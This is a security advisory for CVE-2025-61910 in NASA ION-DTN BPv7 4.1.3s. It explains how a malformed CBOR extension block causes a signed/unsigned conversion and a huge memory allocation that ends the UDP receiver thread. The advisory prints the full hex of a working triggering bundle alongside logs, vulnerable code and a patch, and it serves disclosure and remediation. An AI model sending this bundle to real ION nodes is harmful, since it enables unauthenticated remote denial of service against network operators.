Skip to content

Uncontrolled Memory Allocation leads to Denial-of-Service in NASA ION-DTN BPv7 4.1.3s

High
nrichard42 published GHSA-xm96-38vj-h28h Oct 7, 2025

Package

ION-DTN BPv7

Affected versions

4.1.3s

Patched versions

4.1.4-a.1

Description

Summary

A BPv7 bundle with a malformed extension block causes uncontrolled memory allocation inside ION-DTN 4.1.3s, leading to receiver thread termination and a Denial-of-Service (DoS).

Triggering bundle

The following BPv7 bundle manifests the issue:

9f88070000820282020182028201018202820100821b000100bb0e20b4ea001a000927c085070201005bbb0e20b4ea001a000927c085070201005b0086010100014d480086010100014d48656c6c6f2c756433746e2d686f54

When sent to ION, we observe the following output:

~/ION-DTN/receiver-bpv7/3.bench.udp$ ./ionstart; bpsink ipn:3.1
...
ION event: Payload delivered.
	payload length is 4.
	'TEST'
FAILED*** allocFromIonMemory(bpv7/library/bei.c, lineNbr:764, length:18446744073340459573) called

ion.log:

...
[2025/09/04-16:44:09] at line 764 of bpv7/library/bei.c, Can't allocate, illegal block size. (3925875253)
[2025/09/04-16:44:09] at line 211 of ici/library/ion.c, Can't allocate ION working memory. (-369092043)
[2025/09/04-16:44:09] at line 767 of bpv7/library/bei.c, Can't acquire extension block. (-369092043)
[2025/09/04-16:44:09] at line 8967 of bpv7/library/libbpP.c, Acquisition from work area failed.
[2025/09/04-16:44:09] at line 9482 of bpv7/library/libbpP.c, Bundle acquisition failed.
[2025/09/04-16:44:09] at line 95 of bpv7/udp/udpcli.c, Can't acquire bundle.
[2025/09/04-16:44:09] [i] udpcli receiver thread has ended.
[2025/09/04-16:44:09] [i] udpcli duct has ended.

The output shows that the node is trying to do an allocation of size 18446744073340459573, which fails causing the receiver thread to terminate and stop accepting bundles

Bug in Detail

The above bundle contains an extension block starting at 0x85070201005bbb0e20b4ea001a000927c0.... The first byte in the extension block (0x85) indicates a CBOR array of five elements of which the first four are numbers (0x07, 0x02, 0x01, 0x00) but the fifth element is a byte string of length 27 (0x5bbb0e20b4ea001a000927c0...). The vulnerability seems to be due to processing the fifth element of the array (i.e., the byte string) as replacing it with a number makes the vulnerability no longer be triggered.

While parsing this extension block, ION obtains a very large block length, which in the code below (starting at bei.c:764) seems to be passed from blockLength which is an unsigned int, to a 32 bit signed integer blkSize:

bei.c:758

int	acquireExtensionBlock(AcqWorkArea *work, ExtensionDef *def,
		unsigned char *startOfBlock, unsigned int blockLength,
		BpBlockType blkType, unsigned int blkNumber,
		unsigned char blkProcFlags, unsigned int dataLength)
{
	Bundle		*bundle = &(work->bundle);
	int		blkSize;
	AcqExtBlock	*blk;
	LystElt		elt;
	int		additionalOverhead;

	CHKERR(work);
	CHKERR(startOfBlock);
	blkSize = sizeof(AcqExtBlock) + (blockLength - 1);

	/*	(blockLength - 1) because blkSize is inflated by 1
	 *	due to the inclusion of the placeholding 1-byte
	 *	character array in "bytes".				*/

	blk = (AcqExtBlock *) MTAKE(blkSize);
    if (blk == NULL)
	{
		putErrmsg("Can't acquire extension block.", itoa(blkSize));
		return -1;
	}
    ...

The unsigned to signed conversion causes blkSize to hold the value of -369092043, which is then converted into a 64-bit unsigned value inside MTAKE(blkSize), resulting in an attempt to allocate an unrealistic amount of memory, causing the error.

Impact

This uncontrolled allocation causes the receiver thread (udpcli) to terminate, allowing an attacker to remotely trigger a DoS in an ION BPv7 node

Remediation

A fix has been implemented and will be release in ION 4.1.4. The recommended fix is to upgrade to 4.1.4 when released.

Workaround

If it is not possible to upgrade to 4.1.4, below is the patch for previous versions of ION:

index a7a08d5b..06df9953 100644
--- a/bpv7/library/bei.c
+++ b/bpv7/library/bei.c
@@ -754,7 +754,7 @@ int acquireExtensionBlock(AcqWorkArea *work, ExtensionDef *def,
                unsigned char blkProcFlags, BpCrcType crcType, unsigned int dataLength)
 {
        Bundle          *bundle = &(work->bundle);
-       int             blkSize;
+       size_t          blkSize;
        AcqExtBlock     *blk;
        LystElt         elt;
        int             additionalOverhead;

index c585186b..26da5631 100644
--- a/bpv7/library/libbpP.c
+++ b/bpv7/library/libbpP.c
@@ -8161,7 +8161,11 @@ undefined block.");

        /*      This is an extension block.  Cursor is pointing at
         *      start of block data.                                    */
-
+       if (dataLength < 0)     /*      Overflowed      */
+       {
+               writeMemo("[?] Malformed extension block");
+               return 0;
+       }
        if (unparsedBytes < dataLength) /*      Doesn't fit in buffer.  */
        {
                writeMemoNote("[?] Extension block too long", utoa(dataLength));
--

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2025-61910

Weaknesses

Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. Learn more on MITRE.

Credits